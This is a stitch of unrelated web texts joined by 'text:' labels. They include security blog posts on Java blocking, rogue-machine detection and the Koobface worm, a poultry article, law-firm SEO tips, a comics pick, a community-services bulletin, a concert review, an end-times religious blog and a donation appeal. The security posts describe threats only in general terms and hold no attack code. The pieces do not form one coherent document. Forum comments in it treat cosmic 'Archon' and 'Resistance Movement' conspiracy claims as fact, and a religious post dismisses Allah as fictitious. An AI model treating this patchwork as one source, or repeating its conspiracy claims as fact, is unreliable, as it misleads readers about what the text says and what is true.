Likewise, if there are specific known-good destinations that you need the Java plugin to run on, these can be added as a Negate rule to the ‘Destination’ object. This is where additional controls at the network layer come in handy over just disabling the plugin altogether.

Once complete, save and install the new policy. It is probably a good idea to set up a trace or log event on the policy line itself to allow for monitoring of blocks, both from an incident response and tuning perspective.

Rogue Machine Discovery Using DHCP Hostname Analysis

October 23rd, 2009 No comments

An important aspect of defending one’s network is controlling what devices actually get on said network. In fact, several of the big name IT regulatory schemes – SoX specifically, though probably some of the others as well – have specific requirements to control access to network assets. Depending on the nature of a business, the financial resources available, and the prevailing culture of the workplace this can either be a relatively simple task or something approaching the Sisyphean level. There are also two levels of people we are trying to keep off: end-users who are either ignorant or dismissive of established policy concerning network access and the “determined individual”, be them malicious or just not wanting to follow the rules.

This process was developed at ThatPlaceIWork™ as a stop-gap measure to help determine machines that were attached to the internal network but which were not maintained or managed by us. It is definitely aimed at the first group mentioned above – it is somewhat trivial to overcome by a knowledgeable person, but that is not the goal of the exercise. Our business, by the nature of our industry, is very free-flowing and the culture does not adapt well to overt controls – any controls that are leveraged have to walk a fine line between effectiveness and intrusiveness. The vast majority of machines that are being placed on the network that should not be there are either personal machines of employees or those of guests being brought into the agency. Some of these machines come in infected with malware, as determined by our IPS systems. They have no business being on the internal network and there is written policy against such a practice. Weak consequences of policy infringement keep these policies from being effective on their own. Therefore we developed this process to help control the use of undesired machines until such time as a better process could be put in place. Again, this is not a NAC solution, it is merely a way to quickly narrow down a list of machines that may be on the network in defiance of policy. If you really want to keep machines properly segmented, either implement something like wired 802.1X (which we are moving to) or full-body cavity searches at the door.

Read more…

When Facebook Apps Attack!

March 2nd, 2009 No comments

Facebook, and other popular social networking services like Twitter and MySpace, are the new frontier when it comes to attack surfaces for the bad guys. They are the target of attack because, like Internet Explorer and like Microsoft Windows before it, that’s where the users are. All of these services have been struck by cross-site scripting attacks, malicious add-on applications, password attacks, and everything else in the Web 2.0 tool box.

There is absolutely nothing new in the way these attacks are delivered or the form in which they take. They mostly play on the typical curiosity that an end-user has for the shiny link, app, or video that is presented to them. But that old addage – don’t click on it unless you know what it is – still applies in the vast majority of these social networking attacks.

Facebook has seen several new rounds of malicious application attacks in the last week or so, including yet another tour of the Koobface worm. This particular piece of malware appears as a note from a friend on Facebook with some call to action to see a humorous, or potentially embarrassing, video. The actual payload passes itself off as an update to Flash or other such media viewer. Once installed, the trojan steals cookies for various sites, including Facebook, allowing itself to login and interact with Facebook via its API interface on your behalf. This is how it can then propagate further.

Think “Do I really need to add another smiling puppy to my Facebook page?” the next time that application request comes in. And, no, you probably weren’t caught on video doing something dumb.

Categories: Security Tags:

P2P File Sharing to Blame for Marine One Data Breach

March 1st, 2009 No comments

This seems like common sense to me — if you are responsible for administering or securing a corporate network, in any sector or industry, you are being negligent if you do not do everything in your power to stop P2P software from being used within your network or on machine under your control. This article from CNET is just another example of what can happen when you fail at this task:

An Internet security company claims that Iran has taken advantage of a computer security breach to obtain engineering and communications information about Marine One, President Barack Obama’s helicopter, according to a report by WPXI, NBC’s affiliate in Pittsburgh.

Tiversa, headquartered in Cranberry Township, Pa., reportedly discovered a security breach that led to the transfer of military information to an Iranian IP address, according to WPXI. The information is said to include planned engineering upgrades, avionic schematics, and computer network information.

The channel quoted the company’s CEO, Bob Boback, who said Tiversa found a file containing the entire blueprints and avionics package for Marine One.

“What appears to be a defense contractor in Bethesda, Md., had a file-sharing program on one of their systems that also contained highly sensitive blueprints for Marine One,” Boback told WPXI.

Tiversa makes products that monitor the sharing of files online. A representative for the company was not immediately available for comment.

Boback believes that the files probably were transferred through a peer-to-peer file-sharing network such as LimeWire or BearShare, then compromised.

Read more…

Categories: Security Tags: , ,

All Your Content is Belong to Facebook

February 16th, 2009 No comments

File this under “Read the Frickin’ Terms of Service”. I’ve recently started using Facebook, and as a way to keep in touch with people that, due to scheduling or geographic distance, I don’t often get to catch up with. I am also the type of person that, more often than not, reads a TOS agreement. Facebook, unfortunately, wasn’t one of those services that I read the TOS for. I’m now regretting it. It turns out that by signing up and using their service, Facebook owns “an irrevocable, perpetual, non-exclusive, transferable, fully paid, worldwide license (with the right to sublicense) to (a) use, copy, publish, stream, store, retain, publicly perform or display, transmit, scan, reformat, modify, edit, frame, translate, excerpt, adapt, create derivative works and distribute (through multiple tiers), any User Content” that you post to their service. And due to a new change, this license persists even after you delete the content or the account assigned to it.

While my litany of status updates has no real commercial value – to me or Facebook – other content that I may post does. Some of my photos have real commercial value, as may my writings. Imagine this case: I publicize a limited edition print run on my Facebook page directing people to my commercial website where the print can be purchased. I’ve included a small, low-res version of the print in question in the post. By doing so, I have granted Facebook a full, royalty free, transferable license to use that work however it sees fit, including creating their own prints from that image. Not being a copyright lawyer, I can’t really answer this question, but think on this: What if Facebook were to purchase a copy of said print, scan it, and re-distribute a new version of the work. The question becomes what constitutes the image – the low-res copy posted or the work as it exists itself? By posting a preview of the work, have I just granted someone else a blank check to use my work, in whatever form, how they see fit? This is a valid question that I feel hasn’t truly been addressed in modern copyright law.

So to my friends and readers who are artists, writers, photographers, models (yes models – Facebook is also granted a full license to use your likeness) or any other sort of creative, stop posting your content on Facebook! Anything that you ever expect to use in any form of commercial endeavor should not be posted on Facebook. And since Facebook has changed their TOS, anything that you do have up or have ever had posted is already fair game.

Update: A Facebook spokesperson has come out in an attempt to clarify the TOS. Read it here. A Facebook group organized against the scope of the TOS can be found here.

Update2: Facebook has reverted to the terms as of September 28th, 2008, removing the language concerning perpetual licensing. They are taking time to re-write the terms in such a manner to encompass the terms needed to operate their services while still explicitly denying any claims to IP ownership on content posted. Updates can be found at the general Facebook blog or the Facebook Rights and Responsibilities group.

Categories: Technology Tags:

10 Ways to Improve Your Privacy on Facebook

February 12th, 2009 No comments

I’ve only been turned on to Facebook in the last few months. My only other foray into the “social networking” scene was a small stint on that cesspool known to the kiddies as MySpace. Facebook is a huge improvement of the noisy, garish, pre-pubescent glory of MySpace. But I’ve always been concerned about the melding of personal and public life that comes along with the social networking paradigm. This article lays out some very nice steps to help improve your level of privacy while using Facebook, but still use it as an effective communication tool. Off to try these things out!

Categories: Technology Tags:


text:
A practical approach to broiler breeder management in the absence of beak treatment – Part 1

By Courtesy of Aviagen

Optimal feather development and maintenance of good feather quality and cover throughout production is important in flocks that have not been beak treated

In the absence of beak treatment adhering to proven and agreed best practice management practices is key. The roles of good stockmanship and promoting the development and maintenance of good feather cover have been highlighted here in Part 1 of this article. Part 2 to be published soon on Zootecnica International’s website will highlight the benefits of environmental enrichment as well as other general best practice management strategies that should be employed in non-beak treated birds.

Part 1

Practical broiler breeder management will optimise production while maximising bird welfare even in the face of changing legislation. Welfare and production are not and have never been exclusive ideals, indeed an animal cannot be expected to achieve its potential if its welfare is impaired, but increasingly both consumers and legislation require that the relationship between welfare and responsible animal production is implicit.
In broiler breeder production recent shifts to stopping beak treatment highlights this. However, shifts such as these do not mean major changes in the management practices for broiler breeders. Rather they highlight the need to adhere to already agreed and proven best practice management strategies.

Beak treatment
Originally introduced as an aid to preventing damage due to pecking, beak treatment will no longer be allowed in many countries within the next few years. In a number of European countries the absence of beak treatment for females is already commonplace and increasingly the beak treatment of males is being stopped as well.
Field data shows there appear to be no major drawbacks, as indicated by comparable egg production levels between beak-treated and non-beak treated flocks (Table 1), to stopping the beak treatment of females.

While not beak treating has the potential to improve the welfare of broiler breeders, good management is still required to maintain welfare and performance in non-beak treated birds. Management strategies which ensure appropriate bird development and growth and the provision of an adequate environment and stimuli which promote scratching and natural foraging behaviour are key. However, these can be implemented practically and with ease and, as will be shown in the remainder of the article, are part of the normal best practice management strategies and recommendations for broiler breeders.

The stockman has an important role to play in maintaining the welfare, health and production of a flock. Many potential problems can be resolved without difficulty if they are spotted early enough. Often the first sign of a potential problem or an inadequacy in flock environment is seen in subtle changes in bird behaviour. Above and beyond ensuring the correct environment (feeders, drinkers, nest boxes, etc.) and nutrition are provided, the stockman can spot early signs of potential problems through close observation of bird behaviour.
Attention to detail and spending enough time with the flock to know what is ‘normal’ and therefore, importantly, what is ‘abnormal’ means that any potential issues will be detected at an early stage and can be dealt with before they develop further.

Optimal feather development and maintenance of good feather quality and cover throughout production is essential in flocks that have not been beak treated. Some feather wear during lay is to be expected but this should be minimised.
Feather quality and cover will be optimised through the provision of the correct environment and nutrition.
If stocking densities are higher than advised and recommended feeding and drinking space is not adhered to, the potential for increased feather damage when birds try and access feeders and drinkers is high. All birds should be able to access both feeders and drinkers uniformly at the same time with minimal competition for space.
Diets should be balanced in amino acid content and be fed in the correct amount to ensure that the birds are getting the nutrients they require. Of particular nutritional importance with regards to feathering are the amino acids methionine and cystine. Diets which are lacking in these essential amino acids will result in poorer feather quality. Further to this, field and trial data has shown that increasing the ratio, in comparison to lysine, of these amino acids improves feather quality.
To support feathering it is therefore recommended to increase the ‘safety margins’ of some key amino acids in the diet (Table 2). During the laying period increases in digestible methionine and cystine above 5-10% are not recommended, as there will be a risk of large egg size.


text:
By Frank Olivo, 12khz SEO | Web Design | PPC

It is remarkable how many law firms are missing out on basic, inexpensive solutions that could greatly help their online presence.  In this post, we are going to share a few of the most common missed opportunities that we see when we consult with new attorney clients.

You can put up a responsive, mobile-friendly website.

Amazingly enough, there are still attorneys that rely on outdated sites that are impossible to read on mobile devices.  Considering the plethora of cheap template solutions, there is really no reason for anyone to not have a mobile-optimized site.  Virtually every template created for Drupal and WordPress will allow you to have a responsive, mobile-friendly site, and both are designed for the non-technical person to be able to post blogs and change content.

You can put up a click-to-dial in the header.

More searches are being performed on mobile devices and you want to make it as easy as possible for them to get you on the phone.  Simply adding some code to the top of your site will enable visitors to tap your phone number in order to call you.

You can optimize your website  for speed.

Go to Google’s Pagespeed Insights and type in your url.  If your site is like the typical site that we encounter, it has a lot of room for improvement in speed.  People don’t want to wait for your site to load on their devices—they’re more likely to simply return to the search engine results and click on another result.  There are a number of plugins out there that can help you to speed up your site.

You can claim your Google My Business.

It takes you five minutes and allows you to control the snippets about your practice that appear in the big box in the search results.  There is no reason to not have taken care of this already.  Go ahead and Google your practice; you’ll see what we’re referring to.  You can pick what images people see, enable searchers to see a street view of your office, interact with clients that leave reviews, even display Avvo, Facebook, or Superlawyer reviews.  Having control over this service will help you to guide your online presence and increase the likelihood that you show up in results for local searches.

You can start asking for reviews from your successful cases.

When you have won a case, make a point of asking your client to give you a review on Avvo and/or Google.  People look at these reviews, and if they are on the fence about hiring you, it could be the factor that tips them towards hiring you.

We don’t want to overwhelm you with a long “to-do” list.  We do strongly encourage you to follow through on our advice, and hope that your practice continues to grow as you serve more and more of your clients.


text:
The Official Pick of BATMAN’S HOT-LINE!

We have a LOT of Batman coverage coming up, so I’m dispensing with the regular BATMAN’S HOT-LINE column this week.

But I couldn’t sit idly by and miss the opportunity to pick my admittedly self-indulgent BATBOOK OF THE WEEK.

Surprising absolutely nobody, I’m sure, the pick is Batman ’66 Meets the Green Hornet #2, out Wednesday 7/2 from DC. The first print issue of the Kevin Smith/Ralph Garman/Ty Templeton tour de force was right on the money.

Anyway, this is the latest print installment of the digital-first title, and I cannot wait! (And check out that fantastic Alex Ross cover!)

Also coming out this week are Batman Eternal #13, a title I’ve really enjoyed, even if it’s a little derivative; Batwing #33; and Batman Superman #12, a title I’ve actually given up on.

Author: Dan Greenfield

Share This Post On

  1. LAST WEEK on the ‘net: June 30 – July 6 2014 | Ty Templeton's ART LAND!! - […] BATBOOK OF THE WEEK from 13TH DIMENSION […]

Leave a Reply

%d bloggers like this:


text:
Saturday, September 6, 2014

PB security breach at 504

  1. Here we go again........Everything seems to be going well and smooth and then Wham.......Another delay!

  2. go for the Event, out the Chimera

  3. Security breach? ? .
    Please we need more insight on PB at 504

  4. This comment has been removed by the author.

  5. I believe this was an honest mis calculation. Nothing felt on this side of the fire that is of the negative. So you may never know who's security has been breached.

    Do you not understand yet humans? It is your belief but you assume the worst sometimes, but not always. Did you just take a breath? Did the sun set and rise? All is well, has been well.

    1. All is well if we keep the backup going. More and more of us are needed to specifically overwhelm the etheric planes, and push out the Archonic presence.

      Security breaches dont matter. Like Joko said, we dont know whos security is breached. This might have been posted to alert additional RM to go to a specific place to confirm an overwhelming victory.

      It might not have been. Unless you are a direct part of the RM, its your job to keep the light. Hold the vibration. Get more and more to help you do it.

      Change the story. Stop living for the negative. Let unknown new be a good story instead of a bad one. This is the secret to our own realities. Change the story, change the outcome.

      We, clearing the etheric realms, are just as important, if nor moreso than the RM clearing the 3D aspect. Both need to be done. So get it done.

  6. What is this?? What is that? Don't be childish and don't try to put your noses in other people task. Our task as the surface people is to meditate and spread the Light. My words look hard but is the only way to wake our sense of diligence and patience. love to you all. :-)

  7. We are in the best of hands with the RM and the GFL. Have faith and hold the light. Sunday meditations are coming up! Another chance to help the dark feel that compression! Remind everyone!

    Feeling frustrated? Take it out constructively, benefit physically, mentally and spiritually over time. Like a weekly Sunday chill out which also happen to be a punch to the gut for the dark, and bias positive results to come.

    This is how and why we win.

    Love and Light.

  8. We are all anxious these days! It is understandable when humans want to question everything and read into it what they want. I believe that these little notes are messages for the RM so it should not concern us. Meditation is key and positive light must shine on our defenders and for all of us to work at waking up more sheeple and have them join our meditations.Thanks Cobra and RM! Victory to the Light. Be blessed

  9. I so badly want things to change. Come on people, let's get the figure to 144,000 and beyond. I want to do more than just meditate... But what else can we do? :(

  10. There's always trouble at area 504.

  11. I would like to share a reading I had yesterday.
    " The fighting is over mission mission... demonstrate to the world how to live in JOY LOVE TRUTH!
    Now do you think that's easy??.. I will try I hope you join me.
    Blessings to all and gratitude


text:
2-1-1 UWMC

Home » 2016 » June

Monthly Archives: June 2016

Plug into the community!

Let’s start by checking out this Plug for our very own Ocala Housing Authority!!

housing authority logo

As many of you know, the Ocala Housing Authority is an organization that assists with the housing needs of the community like Public Housing and Section 8 Vouchers. With that said, OHA has launched a NEW program to further support, not only long-term housing, but also employment, education, and credit rehabilitation. The Family Self-Sufficiency Program is a 5 year program designed to increase overall stabilization for families.

Take a look at the Checklist below to see if this program is a good fit for you:
FSS checklist

OHA wants to empower and help you become economically independent. With all the right tools and guidance, they set you up for success.  In fact, the Family Self-Sufficiency Program sets up an escrow account in your name. What does this mean exactly? Well, it means that anytime your income increases from employment that a portion of your rent increase will be credited to your account. Now, AFTER you complete the program the ENTIRE account will be released to the head of household!

If you are interested in the Family Self-Sufficiency Program make sure to contact the Ocala Housing Authority to call and set up an appointment with a program manager:

Tracy Monroe:352.369.2235 (tmonroe@ocalahousing.org)
Stephanie Reynolds:  352.620.3366 (sreynolds@ocalahousing.org)

If you are needing any other type of assistance, please remember that 2-1-1 is available 24 hours a day, 7 days a week via phone (dial 2-1-1), text (text zip code to 898-211), and live chat

Friends, Food, Free!

SummerBreakspot Logo (1)

With school being out for a bit, 2-1-1 wanted to remind you about an awesome opportunity in the community because, let’s face it, our mind goes on summer vacation occasionally, too!

The Summer BreakSpot is a FREE program that offers nutritionally balanced meals to any student 18 and younger! In fact, last year Summer BreakSpot served over 140,000 meals!!!  Students can attend any of 49 the Summer BreakSpot locations from now until July 28th to receive meals. Also, there is absolutely no documentation required.

Make sure to check for a location near you that fits your busy summer schedule!

To find out more information on sites near you contact 2-1-1 via phone (dial 2-1-1), text (text zip code to 898-211), or chat.

2-1-1 is available 24 hours a day and 7 days a week

2-1-1 logo with words

In light of the recent Mass Shooting at a nightclub, Pulse, in Orlando, United Way of Marion County 2-1-1 would like to send our gratitude and appreciation to the community of Marion County.  Given our strong sense of community, this tragedy has impacted us as well.  Our sincerest positive thoughts go out to the families and friends of those victimized. Both to those whose lives were lost, and those who have an emotional mountain to climb as a result.

Orlando, Marion County and the surrounding communities are strong and resilient. The turnout for donating blood alone is a testament to the connectivity we have. #LiveUnited #OrlandoStrong #OrlandoLove

Lastly, thank you. As a part of our community, we are proud to know that although this didn’t happen in Marion County, we all have offered support and prayers for everyone that was impacted. In fact, while 2-1-1 was updating local vigils in the Orlando area we saw that there is going to be one right here, in Ocala. This Wednesday evening, at 8pm,  at Copa, 2330 S Pine Ave, Ocala, FL 34471, there will be a vigil in remembrance of the those lost and those struggling with the weight of such a tragedy. The public is welcome to attend.

Orlando and the United Way of Marion County 2-1-1 thank you, Marion, for your support.

For more information on how to get or give help please call (dial 2-1-1), text (by texting your zip code to 898-211), or live chat with a 2-1-1 specialist.

We are available 24/7 with up-to-date information on where to turn, and also as a place for those who need to reach out for crisis support and counseling.

Father’s Day

Image result for father's dayUnited Way of Marion County 2-1-1 wanted to wish all of the dads in the community a Happy Father’s Day (Sunday, June 19th). In fact, let’s not just celebrate for one day. Let’s join the Children’s Alliance and Kids Central in June’s Fatherhood Month! They have partnered together to create the Building Better Dads Initiative that highlights the important and impacting role that parents, father’s specifically, have on children.  Building Better Dads provides a number of helpful tips on being a better dad, but the most notably being #stayinvolved in the child’s life and interests.

Let’s help Dad celebrate!

Check out some of these FREE activities for dads coming up:

Friday Film Fest- Friday, June 17th, 2pm-4pm at Headquarters- Ocala Public Library

Hooping with HeroesFriday, June 17th, 6:30pm-8:30pm at the Boys & Girls Club

Father’s Day Story-time- Saturday, June 18th, 11am-5pm at Barnes and Noble (College Rd. location)

Ghost Walk- Saturday, June 18th, 8pm-10:30pm at Ocala Downtown Square

Free Pint Glass- Saturday & Sunday, June 18th-19th, BJ’s restaurants (drink not included)

Kanapaha Botanical Gardens- Sunday, June 19th, all day, Gainesville

Father’s Day Remembrance– Sunday, June 19th, 4pm at Highland Memorial Park

2-1-1 is available 24 hours a day, 7 days a week via phone, text, or chat.

Alert yourself about Alert Marion!

[Alert Marion] Member Portal banner

It’s only the first week of hurricane season and we’ve already seen 3 storms. The most recent of which is Tropical Storm Colin that we are still currently experiencing. 2-1-1 and other community members of Marion want to help in the process of becoming as prepared as possible for another potential storm! In fact, yesterday Marion County Emergency Management launched a FREE emergency notification system called: Alert Marion

Alert Marion is FREE emergency alert system that helps you receive the most accurate and breaking information straight to your phone via text! Not only is the information sent directly to your phone, you can also customize what type of information you are interested in receiving (tornado, flood, fire, etc.). Also, you don’t have to worry about this emergency alert waking you up in the middle of the night because, guess what, that’s adjustable, too!! You have the power to choose what you want to be notified about AND when you want to be alerted. With that said, the Alert Marion technology’s purpose is to help keep all of us safe so if there is a tornado warning the Alert Marion notification will go off no matter what times you have set to allow the notifications. You can also adjust your notification settings at any time by logging in.

Emergency Management has made it extremely easy to sign up, too!

Click here to see just how easy!

2-1-1 is available 24 hours a day, 7 days a week to connect you with other severe weather preparation services and locations like where to get sandbags and what shelters are open along with countless other vital information services.

You can contact 2-1-1 by phone (dial 2-1-1), by text (text your zip code to 898-211), or live web chat

%d bloggers like this:


text:
State Fair Store

Welcome to the Iowa State Fair Store. The Blue Ribbon Foundation manages the merchandise sold in the State Fair Store. Profits from the store directly benefit the Foundation's goal of raising funds to help preserve and improve the Iowa State Fairgrounds. Thank you for shopping and supporting the Iowa State Fair!

A Great State Fair

The Blue Ribbon Foundation and the Revival of the Iowa State Fair

Celebrating 25 years of the Blue Ribbon Foundation, author Bill Friedricks takes you behind the scenes of the roller coaster ride of ups and downs of the Iowa State Fair’s long history, leading up to the Blue Ribbon Foundation and the remarkable renaissance it brought about at the Iowa State Fairgrounds, now bigger and better than ever.

$20.00   Add To Your Cart

Shipping Management

Shipping Item Range URL Amount
1 0 - 25 9
2 26 - 50 10
3 51 - 75- 11
4 76- 12

Search Our Catalog


text:
American Mavericks II

Saturday, March 10, 2012

My second American Mavericks concert of the week, with the wonderful San Francisco Symphony led by Michael Tilson Thomas.

When I made a brief allusion to it in my Sunday Salon last week, I fear I may have been too jokey in writing about John Cage’s Song Books. Yes, the surreal humor and juxtapositions were fascinating and appealing in themselves. But the entire experience was also very substantial as a theatrical happening and as a musical performance. Cage’s score, as you may know, is a combination of actual music (in both conventional and very non-conventional notation), text, theater, and instructions as to how to put it all together. The moments of beauty, even if they happened almost by accident – such as one moment toward the end when Joan La Barbara intoned a lovely passage from Thoreau while Jessye Norman sang something quite hymn-like – entranced the ear. By the way, whoever had the idea of combining three amazing singers of quite diverse talents – Norman, La Barbara, and Meredith Monk – deserves a prize. Their voices and personal charisma brought to life what in other circumstances could seem just a novelty. There were perhaps a few audience members, such as the couple seated next to me, who were resistant to this admittedly unusual music. But most seemed to take it in the generous spirit with which it was offered, and enjoyed themselves, and even laughed at a number of appropriate moments.

As much of a tour de force as this performance was, by the way, I wish I’d also had an opportunity to give an ovation to the Davies Symphony Hall tech crew. The way the fifteen or twenty techs tore down the very elaborate stage set during intermission – tables, a multitude of microphones and lights, electronics, and three small house-like structures in which much of the action took place – and prepared the stage for the Orchestra in the second half of the concert was nothing short of amazing. It was very controlled chaos that they made look much simpler than I know it really was.

The second half of this program contained three pieces. In Phorion, Lukas Foss deconstructs the Prelude from Bach’s Partita in E major (originally for solo violin) in what he once called a “Bach Nightmare.” At moments this reminded me of some of Alfred Schnittke’s music, like the Concerto Grosso No. 1 or the String Quartet No. 3, in which references or outright quotations from music of the past emerge from, then are pulled back into, thorny swirls of dissonance. The major difference is that Foss’s music is entirely derived from the Bach original – just distended, distorted, pulled about in a variety of ways. I personally thought that there was a lot of humor in the piece, but I was hearing it while awake with a crowd. If such music were to invade my nightmares, as Foss describes the work’s genesis, perhaps I’d feel differently.

The name and legacy of Henry Cowell should be vastly better known to the music loving world. And he should certainly be remembered for something beyond the tone clusters – the masses of notes that a pianist plays with his or her fists or forearms, or with a stretch of two-by-four – that initially made his fame. One of the widest-ranging musical intellects of his time, Cowell incorporated not only avant garde techniques, but his vast knowledge of the musics of the world, into a catalog of hundreds of compositions. Not only that, but Cowell was an enormously influential teacher and example (and publisher) for a host of later composers, like Lou Harrison, John Cage, and even Burt Bacharach. The fusion of diverse world music cultures that are now such a standard part of the concert and recording experience might not have happened without Henry Cowell leading the way.

Those tone clusters, it must be said, are a major feature of Cowell’s Piano Concerto, a big, even cinematic work (if that isn’t too much of an anachronism for something written in 1928). One might not think, though, that so much colorful, evocative, and lively music could derive from those techniques. Seeing a bit of film of Henry Cowell performing at the piano in the Lou Harrison documentary I wrote about last time, it’s obvious that the pianist that takes on this music must have considerable personal flair as well as a highly developed conventional technique. Pianist Jeremy Denk certainly has that, and certainly seems to be an audience favorite. His performance of the Concerto won him an enthusiastic standing ovation.

Closing out the concert was the massive Sun-treader by Carl Ruggles, one of the Ur-American Mavericks. If I had my way, Sun-treader would be regularly performed by all the orchestras of America (at least those that could afford to put together the sizable instrumental resources, and have the technical capability, for this complex music). It certainly isn’t easy listening. Paraphrasing somewhat a story about Ruggles, I would say that this music grabs one by the lapels and forces one to listen actively. Once one does, the brave stride and dissonant lyricism, and the sheer force of the big climaxes, are really impressive. I’ve long valued my copy of the complete music of Ruggles that Michael Tilson Thomas recorded quite a while ago with the Buffalo Philharmonic and others. Although Ruggles lived to the age of 95, his complete works fit onto just two LPs (and presumably onto two CDs when Other Minds releases them in that form this year). Sun-treader, at about sixteen minutes, is the longest and biggest of his pieces, and it was a great way to end yet another quite diverse concert.

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s


text:
Category Archives: Christian Issues (ETP)

End Time Wars: The Church vs. The Prophet

AUDIO VERSION: YouTube  Podbean

On our main website, you’ll find a title banner that reads: “The Pursuit of God: Serious Topics for Serious Christians.”  And yet in this article about the end times, we are going to say some very harsh things about the Christian religion and warn you to be very wary about trusting Christian interpretations of end time events.  So what’s with the apparent hypocrisy?  If we claim to be Christians ourselves—which we do—then why are we so adamantly opposed to so much of what the Christian Church teaches?  Well, why are sincere followers of Islam so opposed to ISIS terrorists?  After all, the boys in black hoodies are claiming to be showing the world what real devotion to Allah looks like as they go around torturing, maiming and assaulting other humans.  Is it really true that the fictitious Allah is the sort of fellow who is all for guys with big guns tearing land and resources away from others just to feed their personal lust for power and glory?  No, it’s really not.  Even though Allah is as fictitious as America’s Santa Claus, Allah is a very specific sort of character who would never sign off on what the ISIS boys are doing.  You see, even fictional characters have limits.  America’s Santa Claus is a jolly fellow who is all about making children smile and doling out presents.  Sure, you can claim that Santa Claus told you to rape a bunch of women, strap bombs to children, and blow up buildings.  But as soon as you make such a ludicrous claim, it’s obvious to all Americans that you’re no longer talking about the Santa Claus, because Santa is a character with limits that just can’t be crossed.  The same is true for the Allah character who serious Muslims worship.  Allah isn’t some dope who can’t tell the difference between humans really worshiping him and humans just using him as an excuse to try and pull a Hitler maneuver in the Middle East.  Allah demands true devotion from his followers, and he frowns on those who use him as an excuse to serve themselves. Continue reading End Time Wars: The Church vs. The Prophet

Clear, Not Cryptic: How God Prepares You for the End Times

AUDIO VERSION: YouTube  Podbean

Suppose you want to have a conversation with your buddy Chen that you don’t want the people around you to understand.  You and Chen are sitting in a coffee shop and it sounds like everyone around you is speaking American English.  You don’t see any other Asian faces in the crowd.  Good.  You say something to Chen in your native tongue of Mandarin.  Chen smiles and answers back in the same language and soon the two of you are having a jolly time making jokes about the people around you.  Because no one understands the language you’re speaking in, no one gets offended.  Continue reading Clear, Not Cryptic: How God Prepares You for the End Times

No Rapture Before the End Times: Why It’s Not a Bummer

AUDIO VERSION: YouTube  Podbean

End time theories in the Church are like clothing fashions.  In the world of clothing, new styles emerge, they become super popular, then they fade away.  After a popular fashion trend has come to an end, there are always some people who keep wearing the style, while others move on to the next trend.  In the same way, if we look over the history of the Church’s theories about how the end times will play out, we can see new theories emerge, become super popular, then fade into the background when another theory emerges.  Today we can still find some Christians who are hanging onto theories that had their heyday centuries ago.  But we can also see that the Church is pushing one end time theory much harder than any others.  Continue reading No Rapture Before the End Times: Why It’s Not a Bummer

Navigating the End Times Without the Bible: Yes, It Can Be Done

AUDIO VERSION: YouTube  Podbean

In many of our articles, we make a bunch of claims about who God is and how He operates without quoting a single Bible verse.  This makes many Christians uncomfortable, because they’ve been brainwashed into thinking that the Bible—not God Himself—is their only reliable source of truth.  So now and then someone asks us, “Hey, where’s your biblical backup for what you’re saying?”  They ask this because they’re trying to determine truth, and they think that if we come back with some verse that sounds like it supports the claims we’ve made, then that will prove we’re right.

Well, no, that won’t prove anything.  Continue reading Navigating the End Times Without the Bible: Yes, It Can Be Done

No Antichrist in the End Times: Can it really be true?

AUDIO VERSION: YouTube  Podbean

If you read through our material about the end times, you’ll discover that the prophetic picture we paint is significantly different than the Church’s widely accepted fear fest.  The Church is telling you to expect a modernized version of the book of Revelation in which some power hungry human with serious issues stars in the role of the infamous antichrist.  Continue reading No Antichrist in the End Times: Can it really be true?

Dealing with the Death of Christians in the End Times

AUDIO VERSION: YouTube  Podbean

The Church is teaching you to view the end times as an epic battle of demons and the world versus Christians.  If you believe this, then you’re going to interpret the death of Christians as “evil” gaining ground, and you’ll end up praying some pretty useless prayers. Rather than join the Church in her imbecilic exaltation of created beings, you need to get serious about seeking the wisdom of God regarding the end times. The clock is running down, and soon we’re all going to have a real mess on our hands. If you go into this period theologically unprepared, you’re going to waste a whole lot of time praying stupid prayers and freaking out over things that aren’t even happening.  Continue reading Dealing with the Death of Christians in the End Times

Pastors & the End Times: Guiding a Flock in Crisis

AUDIO VERSION: YouTube  Podbean

In this post, we are specifically speaking to shepherds in the Church who are actually authorized to function as shepherds by God. We’re not talking to all of you defiant rebels who are using the pulpit to exalt yourself and put words in God’s mouth that He never said. To grasp hold of the shepherding staff without God’s permission is to try and manipulate the flock for your own selfish gain. God is extremely protective over His flock. Those of you who are currently abusing the shepherding role are already in big trouble with Him and nothing we say in this post applies to you, because God does not consider you to be a legitimate leader in His flock. To you, all we have to say is this: repent and go home. Perhaps if you actually start submitting to the Holy Spirit, He’ll find some use for you. In the meantime, you’re just deadweight. Continue reading Pastors & the End Times: Guiding a Flock in Crisis


text:
Support Us

ABADÁ-Capoeira San Francisco (ACSF) needs you. This is our 26th year in San Francisco’s Mission District, and our continued presence here is perhaps more important than ever.

ACSF serves as a much-needed haven where people from diverse backgrounds come together to learn, find inspiration, experience art and tradition, and express themselves creatively. Our work helps maintain diversity in the neighborhood and infuses the rapidly changing community with values of respect, freedom, integrity, and compassionate leadership. We emphasize hard work, perseverance, and collaboration as well as empathy, trust, and creativity.
At ACSF we are deeply committed to inclusion, inspiration, and connecting people through the art of capoeira. Respect for differences is inherent in the art of capoeira, as is developing the ability to resolve conflict with integrity and dignity. In a world where resonate leadership is critical, we are proud to be teaching children and teens skills, such as confidence, conscious risk-taking, goal-setting, teamwork, and problem-solving, that can lead to a lifetime of good health and civic engagement.

We know that there are numerous organizations and causes that are in dire need of support. We hope that you will make ACSF one of those you choose to help. By making a donation to ACSF you are making a direct and positive impact on the lives of thousands of youth and adults right here in our community.
Your support helps ensure that we are here for future generations, and so that we remain an important foundation for San Francisco's Mission District and beyond.

Please consider ACSF this giving season. All donations are tax-deductible.

To donate online click on SUPPORT US. Or you may mail a check to ABADA-Capoeira SF at 3221 22nd Street, San Francisco, CA 94110. All donations, in any amount are greatly appreciated.

Some examples of how your donation helps!

  • $5,000 Supports five in-school assembly performances, reaching 2,000 youth
  • $2,500 Covers the cost of bringing one guest artist from Brazil to San Francisco
  • $1,000 Pays for a full year of classes for one youth student
  • $750 Covers stipends for two teen students to work as summer camp assistants
  • $500 Covers artist fees for an ACSF instructor to teach 8 youth classes
  • $365 A dollar a day covers the cost of healthy snacks for the youth program’s events
  • $255 Provides Summer Camp tuition for one child
  • $100 Helps to buy new instruments for classes and performances
  • $50 Covers cleaning fees for the studio for one day of operation
  • $25 Pays for three classes for one child in ACSF’s RAY Project youth program


text:
DIY: 10 Polaroid Holiday Decor Ideas

1. Instant Photo Wreath

